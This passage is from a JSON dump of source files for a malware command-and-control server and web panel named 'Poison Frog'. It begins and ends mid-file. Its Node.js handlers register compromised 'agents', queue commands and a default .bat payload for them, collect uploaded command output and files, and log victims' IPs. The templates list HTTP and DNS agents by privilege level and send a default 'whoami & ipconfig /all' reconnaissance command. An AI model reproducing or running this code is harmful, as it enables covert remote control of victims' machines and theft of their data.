db.get(commandId);\r\n\t\t\tvar fileAddress = \"0\";\r\n\t\t\tfor (var i = 0; i < tmp.length; i++) {\r\n\t\t\t\tif (tmp[i].toString().startsWith(\"upl<>\")) {\r\n\t\t\t\t\tfileAddress = tmp[i].toString().substring(6);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (fileAddress != \"0\") {\r\n\t\t\t\tres.download(pt.join(__dirname, \"../\" + fileAddress));\r\n\t\t\t} else {\r\n\t\t\t\tvar commandAddress = commonDir + agentType + \"/\" + agentId + \"/receive/\" + commandId;\r\n\t\t\t\tif (fs.existsSync(commandAddress)) {\r\n\t\t\t\t\tfs.readFile(commandAddress, function (err, data) {\r\n\t\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\t\tres.render('result', { data: data });\r\n\t\t\t\t\t});\r\n\t\t\t\t} else {\r\n\t\t\t\t\tres.send(\"<h2>Response file does not exist!</h2>\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t\tdb.close();\r\n\t}\r\n}\r\n// logInfo(agentId, whoami, requestIp, dateNow, agentDir+\"/cfg\");\r\nfunction logInfo(agentId, whoami, ip, date, ipLogFileAddress) { // .................................................................. log the information ...............\r\n\tif (agentId === undefined || whoami === undefined || ip === undefined || date === undefined || ipLogFileAddress === undefined) {\r\n\t\treturn;\r\n\t}\r\n\t//console.log(agentId+\"   \"+whoami+\"   \"+ip+\"    \"+date);\r\n\tvar fs = require('fs');\r\n\tvar lines = [];\r\n\tvar lineNumber = -1;\r\n\tconsole.log(ipLogFileAddress);\r\n\tfs.writeFile(ipLogFileAddress+\"last\", date, function (err) { if (err) { console.log(err); } });\r\n\tif (fs.existsSync(ipLogFileAddress)) {\r\n\t\tfs.readFile(ipLogFileAddress, 'utf8', function (err, data) {\r\n\t\t\tif (err) { console.log(err); }\r\n\t\t\tlines = data.split('\\n');\r\n\t\t\tfor (var i = 0; i < lines.length; i++) {\r\n\t\t\t\tvar lineIp = lines[i].split('<>')[2];\r\n\t\t\t\t//console.log(\"lineIp: \" + lineIp);\r\n\t\t\t\tif (lineIp == ip) {\r\n\t\t\t\t\tlineNumber = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t//console.log(\"lineNumber: \" + lineNumber);\r\n\t\t\tif (lines.length > 0) {\r\n\t\t\t\tfs.writeFile(ipLogFileAddress, lines[0], function (err) {\r\n\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\tfor (var j = 1; j < lines.length; j++) {\r\n\t\t\t\t\t\tif (lineNumber != j) {\r\n\t\t\t\t\t\t\tfs.appendFile(ipLogFileAddress, \"\\n\" + lines[j], function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\tfs.appendFile(ipLogFileAddress, \"\\n\" + agentId + \"<>\" + whoami + \"<>\" + ip + \"<>\" + date, function (err) { if (err) { console.log(err); } });\r\n\t\t});\r\n\t} else {\r\n\t\tfs.writeFile(ipLogFileAddress, \"\\n\" + agentId + \"<>\" + whoami + \"<>\" + ip + \"<>\" + date, function (err) { if (err) { console.log(err); } });\r\n\t}\r\n}\r\n\r\nexports.loginPage = function (req, res) { // ................................................ login checking function ..................\r\n\r\n\tconsole.log(\"hddddddddddddddddd\");\r\n\tres.render('login');\r\n\treturn;\r\n\r\n}\r\n\r\nexports.login = function (req, res) { // ................................................ login checking function .................\r\n\tvar Cookies = require('cookies');\r\n\tvar cookies = new Cookies(req, res);\r\n\tvar cookie = cookies.get(config.user);\r\n\tif (cookie === undefined) {\r\n\t\t//console.log(\"cookie not exist\");\r\n\t\tvar username = req.body.username;\r\n\t\tvar password = req.body.password;\r\n\t\t//console.log(username+\"   \"+password);\r\n\t\tif (username == config.user && password == config.password) {\r\n\t\t\t// set cookie\r\n\t\t\tcookies.set(config.user, config.password, { maxAge: new Date(Date.now() + 3600000), expires: new Date(Date.now() + 3600000), httpOnly: true })\r\n\t\t\t//console.log('cookie created successfully');\r\n\t\t\tres.redirect(\"/in/http\");\r\n\t\t\treturn;\r\n\t\t} else {\r\n\t\t\tres.redirect(config.guid);\r\n\t\t\treturn;\r\n\t\t}\r\n\t} else {\r\n\t\t// yes, cookie was already present \r\n\t\t//console.log('cookie exists', cookie);\r\n\t\tres.redirect(\"/in/http\");\r\n\t}\r\n}\r\n\r\nexports.resultPosted = function (req, res) { // ...................................... result of command recieved and save function .....................\r\n\tvar agentCode = req.params.input;\r\n\tconsole.log(\"agentCode=> \" + agentCode);\r\n\tvar requestId = \"\";\r\n\tvar agentId = \"\";\r\n\tif (agentCode.length > 20) {\r\n\t\trequestId = agentCode.substring(agentCode.length - 10);\r\n\t\tagentId = agentCode.substring(0, 5) + agentCode.substring(agentCode.length - 15, agentCode.length - 10);\r\n\t} else {\r\n\t\tconsole.log(\"input agentCode not in correct format!\");\r\n\t\treturn;\r\n\t}\r\n\tconsole.log(requestId + \" <=requestId and agentId=> \" + agentId);\r\n\tvar agentDir = commonDir + \"http/\" + agentId;\r\n\tvar file = req.files[0];\r\n\tvar fs = require('fs');\r\n\r\n\tconsole.log(agentDir + \" <=agentDir and uploaded result file path=> \" + file.path);\r\n\r\n\tif (!fs.existsSync(agentDir + \"/receive/\")) { fs.mkdirSync(agentDir + \"/receive/\"); }\r\n\tfs.createReadStream(file.path).pipe(fs.createWriteStream(agentDir + \"/receive/\" + requestId));\r\n\tres.send(\"ok\");\r\n\tconsole.log(\"register receive the result\");\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\tvar tmp = db.get(requestId);\r\n\tif (tmp !== undefined) {\r\n\t\ttmp.push(agentDir + \"/receive/\" + requestId);\r\n\t\ttmp.push(\"2\");\r\n\t}\r\n\tdb.put(requestId, tmp);\r\n\tdb.close();\r\n\tconsole.log(\"ending receiving\");\r\n};\r\n\r\nexports.filePosted = function (req, res) { // ......................................... file posted from agent side .............\r\n\tvar agentCode = req.params.input;\r\n\tvar requestId = \"\";\r\n\tvar agentId = \"\";\r\n\r\n\tif (agentCode.length > 20) {\r\n\t\trequestId = agentCode.substring(agentCode.length - 10);\r\n\t\tagentId = agentCode.substring(0, 5) + agentCode.substring(agentCode.length - 15, agentCode.length - 10);\r\n\t} else {\r\n\t\treturn;\r\n\t}\r\n\tvar agentDir = commonDir + \"http/\" + agentId;\r\n\tvar ff = require('flat-file-db');\r\n\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\tvar file = req.files[0];\r\n\tvar fs = require('fs');\r\n\tvar tmp = db.get(requestId);\r\n\t//console.log(agentDir+ \" >>> \"+db.keys());\r\n\tvar fileName = tmp[4].replace(/^.*[\\\\\\/]/, '');\r\n\tfs.createReadStream(file.path).pipe(fs.createWriteStream(agentDir + \"/receive/\" + fileName));\r\n\tres.send(\"ok\");\r\n\tconsole.log(agentDir + \"/receive/\" + fileName);\r\n\tif (tmp !== undefined) {\r\n\t\ttmp.push(\"upl<>\" + agentDir + \"/receive/\" + fileName);\r\n\t\ttmp.push(\"2\");\r\n\t}\r\n\tconsole.log(tmp);\r\n\tdb.put(requestId, tmp);\r\n\tdb.close();\r\n};\r\n\r\nexports.getFile = function (req, res) {\r\n\tvar fileName = req.params.input;\r\n\tvar fs = require('fs');\r\n\tvar fileAddress = commonDir + \"files/\" + fileName;\r\n\tfs.createReadStream(fileAddress).pipe(res);\r\n};\r\n\r\n// agent request for last command\r\nexports.agent = function (req, res) { // .............................. \r\n\tvar agentCode = req.params.input;\r\n\tvar agentId = \"\";\r\n\tvar fs = require('fs');\r\n\tvar df = require('dateformat');\r\n\tif (agentCode.length > 10) {\r\n\t\tvar requestIp = req.connection.remoteAddress.replace(/^.*:/, '');\r\n\t\tagentId = agentCode.substring(0, 5) + agentCode.substring(agentCode.length - 5, agentCode.length);\r\n\t\tvar agentDir = commonDir + \"http/\" + agentId;\r\n\t\tif (!fs.existsSync(agentDir)) { // this is new agent ....\r\n\t\t\tfs.mkdir(agentDir, function (err) {\r\n\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\tfs.mkdir(agentDir + \"/send/\");\r\n\t\t\t\tfs.mkdir(agentDir + \"/receive/\");\r\n\t\t\t\tfs.mkdir(agentDir + \"/wait/\", function (err) {\r\n\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\tfs.createReadStream(\"./0000000000.bat\").pipe(fs.createWriteStream(commonDir + \"/files/386be98ce7c7955f92dc060779ed7613\"));\r\n\t\t\t\t\tfs.writeFile(agentDir + \"/wait/0000000000\", \"0000000000<>C:\\\\Users\\\\Public\\\\Public_Data\\\\files\\\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not\", function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\tvar ff = require('flat-file-db');\r\n\t\t\t\t\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\t\t\t\t\tdb.put(\"0000000000\", [\"0000000000\", \"Default Command\", \"0000000000.bat\", \"default command file\", \"not\", \"0\"]);\r\n\t\t\t\t\tdb.close();\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t}\r\n\t\tif (fs.existsSync(agentDir + \"/wait/\")) {\r\n\t\t\t// var files = fs.readdirSync(agentDir+\"/wait/\"); // asyncing\r\n\t\t\tfs.readdir(agentDir + \"/wait/\", function (err, files) {\r\n\t\t\t\tif (err) console.log(err);\r\n\t\t\t\t// log last ip and time of agent connected to server\r\n\t\t\t\tvar dateFormat = require('dateformat');\r\n\t\t\t\tvar whoami = \"whoami\";\r\n\t\t\t\tvar dateNow = df(new Date()); //'yyyy-mm-dd HH:MM:ss'\r\n\t\t\t\tlogInfo(agentId, whoami, requestIp, dateNow, agentDir + \"/cfg\");\r\n\r\n\t\t\t\tif (files.length > 0) {\r\n\t\t\t\t\tvar data = fs.readFile(agentDir + \"/wait/\" + files[0], 'utf8', function (err, data) {\r\n\t\t\t\t\t\tif (err) { console.log(err); }\r\n\t\t\t\t\t\t//console.log(data);\r\n\t\t\t\t\t\tres.send(data + \"<>1\");\r\n\t\t\t\t\t\t// should asyncing\r\n\t\t\t\t\t\tfs.createReadStream(agentDir + \"/wait/\" + files[0]).pipe(fs.createWriteStream(agentDir + \"/send/\" + files[0]));\r\n\t\t\t\t\t\t// fs.unlink(agentDir+\"/wait/\"+files[0]); // asyncing\r\n\t\t\t\t\t\tfs.unlink(agentDir + \"/wait/\" + files[0], function (err) { if (err) { console.log(err); } });\r\n\t\t\t\t\t\t// file sended update db\r\n\t\t\t\t\t\tvar ff = require('flat-file-db');\r\n\t\t\t\t\t\tvar db = ff.sync(agentDir + \"/log.db\");\r\n\t\t\t\t\t\tvar tmp = db.get(files[0]);\r\n\t\t\t\t\t\tif (tmp !== undefined) {\r\n\t\t\t\t\t\t\ttmp.push(\"1\");\r\n\t\t\t\t\t\t\tdb.put(files[0], tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t//console.log(db.get(files[0]));\r\n\t\t\t\t\t\t//console.log(\"updateing: \"+db.get(files[0]));\r\n\t\t\t\t\t\tdb.close();\r\n\t\t\t\t\t});\r\n\t\t\t\t} else {\r\n\t\t\t\t\tres.send(\"not<>not<>not<>not<>0\");\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t} else {\r\n\t\t\t// fs.mkdirSync(agentDir+\"/wait/\"); // asyncing\r\n\t\t\tfs.mkdir(agentDir + \"/wait/\", function (err) { if (err) { console.log(err); } });\r\n\t\t\tres.send(\"not<>not<>not<>not<>0\");\r\n\t\t}\r\n\t}\r\n};\r\n\r\n\r\n\r\n/*\r\n\r\n// defining a function\r\nvar async_function = function(val, callback){\r\n    process.nextTick(function(){\r\n        callback(val);\r\n    });\r\n};\r\n\r\n// using the function\r\nasync_function(true, function(val){\r\n    // val == true\r\n});\r\n\r\n*/"
  },
  {
    "path": "posionfrog/serverside/views/agents.ejs",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n\t<meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\r\n\t<title>Welcome</title>\r\n\t<link rel=\"stylesheet\" href=\"../css/style.css\" type=\"text/css\" media=\"all\" />\r\n\t<script>\r\n\t\tfunction saveDescription(e) {\r\n\t\t\tif (e.keyCode == 13) {\r\n\t\t\t\tvar agentDescription = e.target.value;\r\n\t\t\t\tvar agentId = e.target.getAttribute(\"class\");\r\n\r\n\t\t\t\tvar form = document.createElement(\"form\");\r\n\t\t\t\tform.setAttribute(\"method\", \"post\");\r\n\t\t\t\tform.setAttribute(\"action\", \"/des\");\r\n\t\t\t\tvar hiddenField = document.createElement(\"input\");\r\n\t\t\t\thiddenField.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thiddenField.setAttribute(\"name\", \"agentId\");\r\n\t\t\t\thiddenField.setAttribute(\"value\", agentId);\r\n\t\t\t\tform.appendChild(hiddenField);\r\n\t\t\t\tvar hiddenField1 = document.createElement(\"input\");\r\n\t\t\t\thiddenField1.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thiddenField1.setAttribute(\"name\", \"agentDescription\");\r\n\t\t\t\thiddenField1.setAttribute(\"value\", agentDescription);\r\n            \tform.appendChild(hiddenField1);\r\n\t\t\t\tdocument.body.appendChild(form);\r\n\t\t\t\tform.submit();\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tvar auto_refresh = setInterval(\r\n\t\t\tfunction (){\r\n\t\t\t\tlocation.reload();\r\n\t\t\t}, 120000);\r\n\t</script>\r\n</head>\r\n\r\n<body>\r\n<div id=\"header\">\r\n\t<div class=\"shell\">\r\n\t\t<!-- Logo + Top Nav -->\r\n\t\t<div id=\"top\">\r\n\t\t\t<h1>Prepare for poison.</h1>\r\n\t\t\t<div id=\"top-navigation\">\r\n\t\t\t\tWelcome to <strong>Poison Frog</strong> panel.\r\n\t\t\t\t<span>|</span>\r\n\t\t\t\t<a href=\"#\">Help</a>\r\n\t\t\t\t<span>|</span>\r\n\t\t\t\t<a href=\"#\">Log out</a>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<!-- End Logo + Top Nav -->\r\n\t\t\r\n\t\t<!-- Main Nav -->\r\n\t\t<div id=\"navigation\">\r\n\t\t\t<ul>\r\n\t\t\t    <li onClick=\"javascript:window.location.href='/in/http'\" <% if(state =='httpActive') { %> class=\"active\" <% } %>><span>HTTP agents</span></li>\r\n\t\t\t    <li onClick=\"javascript:window.location.href='/in/dns'\"  <% if(state =='dnsActive')  { %> class=\"active\" <% } %>><span>DNS agents</span></li>\r\n\t\t\t</ul>\r\n\t\t</div>\r\n\t\t<!-- End Main Nav -->\r\n\t</div>\r\n</div>\r\n<!-- End Header -->\r\n\r\n<!-- Container -->\r\n<div id=\"container\">\r\n\t<div class=\"shell\">\r\n\t\t<!-- Main -->\r\n\t\t<div id=\"main\">\r\n\t\t\t<div class=\"cl\">&nbsp;</div>\r\n\t\t\t\r\n\t\t\t<!-- Content -->\r\n\t\t\t<!-- <div id=\"content\"> -->\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t<div class=\"box\">\r\n\t\t\t\t\t<!-- Box Head -->\r\n\t\t\t\t\t<div class=\"box-head\">\r\n\t\t\t\t\t\t<h2 class=\"left\">Count: <%= agents.length %></h2>\r\n\t\t\t\t\t\t<div class=\"right\">\r\n\t\t\t\t\t\t\t<!--<label>search articles</label>\r\n\t\t\t\t\t\t\t<input type=\"text\" class=\"field small-field\" />\r\n\t\t\t\t\t\t\t<input type=\"submit\" class=\"button\" value=\"search\" />-->\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- End Box Head -->\t\r\n\r\n\t\t\t\t\t<!-- Table -->\r\n\t\t\t\t\t<div class=\"table\">\r\n\t\t\t\t\t\t<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" id=\"myTable\">\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<th width=\"13\"><input type=\"checkbox\" class=\"checkbox\" /></th>\r\n\t\t\t\t\t\t        <th onclick=\"sortTable(1)\">Title</th>\r\n                                <th onclick=\"sortTable(2)\">Date</th>\r\n                                <th onclick=\"sortTable(3)\">State</th>\r\n                                <th onclick=\"sortTable(4)\">Description</th>\r\n                                <th onclick=\"sortTable(5)\">Access Levels</th>\r\n\t\t\t\t\t\t        <th width=\"110\" class=\"ac\">Content Control</th>\t\t\t\t\t\r\n                            </tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t<% for(var i=0; i < agents.length; i++) { %>\r\n\t\t\t\t\t\t\t\t<tr style=\"cursor: pointer;<%= agents[i][5] %>\"  ><!-- class=\"odd\" -->\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/<%= agents[i][4] %><><%= agents[i][0] %>'\" ><input type=\"checkbox\" class=\"checkbox\" /></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/<%= agents[i][4] %><><%= agents[i][0] %>'\" ><h3><%= agents[i][0] %></h3></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/<%= agents[i][4] %><><%= agents[i][0] %>'\" ><%= agents[i][2] %></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/<%= agents[i][4] %><><%= agents[i][0] %>'\" ><%= agents[i][3] %></td>\r\n\t\t\t\t\t\t\t\t\t<td ><input id=\"description\" style=\"border:none;font-size: 16px;\" class=\"<%= agents[i][0] %>\" type=\"input\" onkeypress=\"return saveDescription(event)\" value=\"<%= agents[i][6] %>\"></input></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/<%= agents[i][4] %><><%= agents[i][0] %>'\" ><%if(agents[i][0].charAt(4).toUpperCase() ==\"N\"&&agents[i][0].charAt(5).toUpperCase() ==\"T\") {%>NT Autority<%}else{%>User<%}%></td>\r\n\t\t\t\t\t\t\t\t\t<td onClick=\"javascript:window.location.href='/delagent/<%= agents[i][4] %><><%= agents[i][0] %>'\"><a class=\"ico del\">Delete</a></td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\r\n\r\n<script>\r\nfunction sortTable(n) {\r\n\t\r\n  var table, rows, switching, i, x, y, shouldSwitch, dir, switchcount = 0;\r\n  table = document.getElementById(\"myTable\");\r\n  switching = true;\r\n  // Set the sorting direction to ascending:\r\n  dir = \"asc\";\r\n  /* Make a loop that will continue until\r\n  no switching has been done: */\r\n  while (switching) {\r\n    // Start by saying: no switching is done:\r\n    switching = false;\r\n    rows = table.rows;\r\n    /* Loop through all table rows (except the\r\n    first, which contains table headers): */\r\n\t\r\n    for (i = 1; i < (rows.length - 1); i++) {\r\n      // Start by saying there should be no switching:\r\n      shouldSwitch = false;\r\n      /* Get the two elements you want to compare,\r\n      one from current row and one from the next: */\r\n      x = rows[i].getElementsByTagName(\"TD\")[n];\r\n      y = rows[i + 1].getElementsByTagName(\"TD\")[n];\r\n      /* Check if the two rows should switch place,\r\n      based on the direction, asc or desc: */\r\n      if (dir == \"asc\") {\r\n        if (x.innerHTML.toLowerCase() > y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      } else if (dir == \"desc\") {\r\n        if (x.innerHTML.toLowerCase() < y.innerHTML.toLowerCase()) {\r\n          // If so, mark as a switch and break the loop:\r\n          shouldSwitch = true;\r\n          break;\r\n        }\r\n      }\r\n    }\r\n    if (shouldSwitch) {\r\n      /* If a switch has been marked, make the switch\r\n      and mark that a switch has been done: */\r\n      rows[i].parentNode.insertBefore(rows[i + 1], rows[i]);\r\n      switching = true;\r\n      // Each time a switch is done, increase this count by 1:\r\n      switchcount ++;\r\n    } else {\r\n      /* If no switching has been done AND the direction is \"asc\",\r\n      set the direction to \"desc\" and run the while loop again. */\r\n      if (switchcount == 0 && dir == \"asc\") {\r\n        dir = \"desc\";\r\n        switching = true;\r\n      }\r\n    }\r\n  }\r\n}\r\n</script>\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t<% } %>\r\n\t\t\t\t\t\t</table>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- Table -->\r\n\t\t\t\t</div>\r\n\t\t\t\t<!-- End Box -->\r\n\t\t\t<!-- </div> -->\r\n\t\t\t<!-- End Content -->\r\n\t\t\t\r\n\t\t\t<!-- Sidebar \r\n\t\t\t<div id=\"sidebar\">\r\n\t\t\t\t\r\n\t\t\t\t<!-- Box \r\n\t\t\t\t<div class=\"box\">\r\n\t\t\t\t\t\r\n\t\t\t\t\t<!-- Box Head \r\n\t\t\t\t\t<div class=\"box-head\">\r\n\t\t\t\t\t\t<h2>Management</h2>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<!-- End Box Head\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div class=\"box-content\">\r\n\t\t\t\t\t\t<div class=\"cl\">&nbsp;</div>\r\n\t\t\t\t\t\t<form action=\"/des/\" enctype=\"multipart/form-data\" method=\"POST\">\r\n\t\t\t\t\t\t\t<div class=\"buttons\">\r\n\t\t\t\t\t\t\t\t<label>Upload descrioption</label>\r\n\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"agentType\" value=\"<% if(state =='httpActive') { %>http<% } else { %>dns<% } %>\" />\r\n\t\t\t\t\t\t\t\t<input type=\"file\" name=\"uploadFile\" />\r\n\t\t\t\t\t\t\t\t<input type=\"submit\" class=\"button\"  value=\"Upload\" />\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t<!-- Sort \r\n\t\t\t\t\t\t<div class=\"sort\">\r\n\t\t\t\t\t\t\t<label>Sort by</label>\r\n\t\t\t\t\t\t\t<select class=\"field\">\r\n\t\t\t\t\t\t\t\t<option value=\"\">Title</option>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t<select class=\"field\">\r\n\t\t\t\t\t\t\t\t<option value=\"\">Date</option>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t<select class=\"field\">\r\n\t\t\t\t\t\t\t\t<option value=\"\">Author</option>\r\n\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t End Sort \r\n\t\t\t\t\t\t\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<!-- End Box \r\n\t\t\t</div>\r\n\t\t\t<!-- End Sidebar -->\r\n\t\t\t\r\n\t\t\t<div class=\"cl\">&nbsp;</div>\t\t\t\r\n\t\t</div>\r\n\t\t<!-- Main -->\r\n\t</div>\r\n</div>\r\n<!-- End Container -->\r\n\r\n<!-- Footer -->\r\n<div id=\"footer\">\r\n\t<div class=\"shell\">\r\n\t\t<span class=\"left\">&copy; Poison frog</span>\r\n\t\t<span class=\"right\">\r\n\t\t\tChanged by <a href=\"#\" target=\"_blank\" title=\"The Sweetest CSS Templates WorldWide\">Poison Frog Teams</a>\r\n\t\t</span>\r\n\t</div>\r\n</div>\r\n<!-- End Footer -->\r\n\t\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "posionfrog/serverside/views/login.ejs",
    "content": "<!DOCTYPE html>\n<html >\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Login</title>\n      <link rel=\"stylesheet\" href=\"css/login_style.css\">\n</head>\n\n<body>\n\t<div class=\"login\">\n\t\t<div class=\"login-screen\">\n\t\t\t<div class=\"app-title\">\n\t\t\t\t<h1>Login</h1>\n\t\t\t</div>\n\t\t\t<form action=/7345SDFHSALKJDFHNASLFSDA3423423SAD22 enctype=\"form-data\" method=\"POST\" class=\"login-form\"> \n\t\t\t\t<div class=\"control-group\">\n\t\t\t\t<input type=\"text\" class=\"login-field\" name=\"username\" value=\"\" placeholder=\"username\" id=\"login-name\">\n\t\t\t\t<label class=\"login-field-icon fui-user\" for=\"login-name\"></label>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"control-group\">\n\t\t\t\t<input type=\"password\" class=\"login-field\" value=\"\" name=\"password\" placeholder=\"password\" id=\"login-pass\">\n\t\t\t\t<label class=\"login-field-icon fui-lock\" for=\"login-pass\"></label>\n\t\t\t\t</div>\n\t\t\t\t<button class=\"btn btn-primary btn-large btn-block\" type=\"submit\">Login</button>\n\t\t\t</form>\n\t\t</div>\n\t</div>\n</body>\n</html>"
  },
  {
    "path": "posionfrog/serverside/views/notfound.ejs",
    "content": "<html>\r\n    <head>\r\n        <title>\r\n            Page not found!\r\n        </title>\r\n    </head>\r\n    <body>\r\n        <h1>Page not found!</h1>\r\n    </body>\r\n</html>"
  },
  {
    "path": "posionfrog/serverside/views/panel.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n\t<meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\r\n\t<title><%= agentDetails[0] %></title>\r\n\t<link rel=\"stylesheet\" href=\"css/style.css\" type=\"text/css\" media=\"all\" />\r\n\r\n\t<script>\r\n\t\twindow.onload = function() {\r\n\t\t\t//console.log(\"start function\");\r\n\t\t\tvar x = setInterval(function() {\r\n\t\t\t\tvar lasttime = new Date(document.getElementById(\"visitTime\").innerHTML);\r\n\t\t\t\tvar now_time = new Date(document.getElementById(\"time_now\").innerHTML);\r\n\t\t\t\tvar distance = now_time.getTime() - lasttime.getTime();\r\n\t\t\t\tnow_time.setSeconds(now_time.getSeconds() + 1);\r\n\r\n\t\t\t\tdocument.getElementById(\"time_now\").innerHTML = now_time.toString();\r\n\t\t\t\t\r\n\t\t\t\tvar days = Math.floor(distance / (1000 * 60 * 60 * 24));\r\n\t\t\t\tvar hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));\r\n\t\t\t\tvar minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));\r\n\t\t\t\tvar seconds = Math.floor((distance % (1000 * 60)) / 1000);\r\n\t\t\t\tdocument.getElementById(\"timmer\").innerHTML = days + \"d \" + hours + \":\" + minutes + \":\" + seconds;\r\n\r\n\t\t\t}, 1000);\r\n\t\t}\r\n\r\n\t\tvar auto_refresh = setInterval(\r\n\t\t\tfunction (){\r\n\t\t\t\tlocation.reload();\r\n\t\t\t}, 120000); \r\n\r\n\t\tfunction sendDefaultCommand() {\r\n\r\n\t\t\tvar f_agentId = document.getElementById(\"f_agentId\").value;\r\n\t\t\tvar f_agentType = document.getElementById(\"f_agentType\").value;\r\n\t\t\tvar f_commandId = document.getElementById(\"f_commandId\").value;\r\n\r\n\t\t\tconsole.log(\"hello\");\r\n\r\n\t\t\tvar form = document.createElement(\"form\");\r\n\t\t\tform.setAttribute(\"method\", \"post\");\r\n\t\t\tform.setAttribute(\"action\", \"/\");\r\n\r\n\t\t\tif(f_agentType == \"dns\") {\r\n\r\n\t\t\t\tvar f_commandType = document.getElementById(\"f_commandType\").value;\r\n\t\t\t\t\r\n\t\t\t\tvar hf1 = document.createElement(\"input\");\r\n\t\t\t\thf1.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf1.setAttribute(\"name\", \"commandId\");\r\n\t\t\t\thf1.setAttribute(\"value\", f_commandId);\r\n\t\t\t\tform.appendChild(hf1);\r\n\r\n\t\t\t\tvar hf2 = document.createElement(\"input\");\r\n\t\t\t\thf2.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf2.setAttribute(\"name\", \"command\");\r\n\t\t\t\thf2.setAttribute(\"value\", \"whoami & ipconfig /all\");\r\n\t\t\t\tform.appendChild(hf2);\r\n\t\t\t\t\r\n\t\t\t\tvar hf3 = document.createElement(\"input\");\r\n\t\t\t\thf3.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf3.setAttribute(\"name\", \"agentId\");\r\n\t\t\t\thf3.setAttribute(\"value\", f_agentId);\r\n\t\t\t\tform.appendChild(hf3);\r\n\r\n\t\t\t\tvar hf4 = document.createElement(\"input\");\r\n\t\t\t\thf4.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf4.setAttribute(\"name\", \"agentType\");\r\n\t\t\t\thf4.setAttribute(\"value\", f_agentType);\r\n\t\t\t\tform.appendChild(hf4);\r\n\t\t\t\t\r\n\t\t\t\t/*var hf5 = document.createElement(\"input\");\r\n\t\t\t\thf5.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf5.setAttribute(\"name\", \"commandType\");\r\n\t\t\t\thf5.setAttribute(\"value\", f_commandType);\r\n\t\t\t\tform.appendChild(hf5);*/\r\n\r\n\t\t\t\tvar hf6 = document.createElement(\"input\");\r\n\t\t\t\thf6.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf6.setAttribute(\"name\", \"defaultCommand\");\r\n\t\t\t\thf6.setAttribute(\"value\", \"yes\");\r\n\t\t\t\tform.appendChild(hf6);\r\n\t\t\t\t\r\n\t\t\t} else {\r\n\t\t\t\tvar hf1 = document.createElement(\"input\");\r\n\t\t\t\thf1.setAttribute(\"type\", \"hidden\");\r\n\t\t\t\thf1.setAttribute(\"name\", \"commandId\");\r\n\t\t\t\thf1.setAttribute(\"value\", f_commandId);\r\n\t\t\t\tform.appendChild(hf1);\r\n\r\n\t\t\t\tvar hf2 = document.createElement(\"input\");\r\n\t\t\t\thf2.setAttribute(\"type\", 